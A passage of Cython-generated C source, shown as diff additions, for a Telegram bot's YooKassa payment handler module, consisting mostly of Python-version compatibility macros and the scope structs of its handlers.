!defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__yookassa_pay +#define __PYX_HAVE_API__handlers__payments__yookassa_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/yookassa_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + +/* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_customer_email; + PyObject *__pyx_v_customer_id; + PyObject *__pyx_v_customer_name; + PyObject *__pyx_v_data; + PyObject *__pyx_v_payment; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_e; + PyObject *__pyx_v_event; + PyObject *__pyx_v_payment; + PyObject *__pyx_v_payment_id; + PyObject *__pyx_v_payment_object; + PyObject *__pyx_v_request; + PyObject *__pyx_v_user_id; + PyObject *__pyx_v_user_id_str; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_e; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = 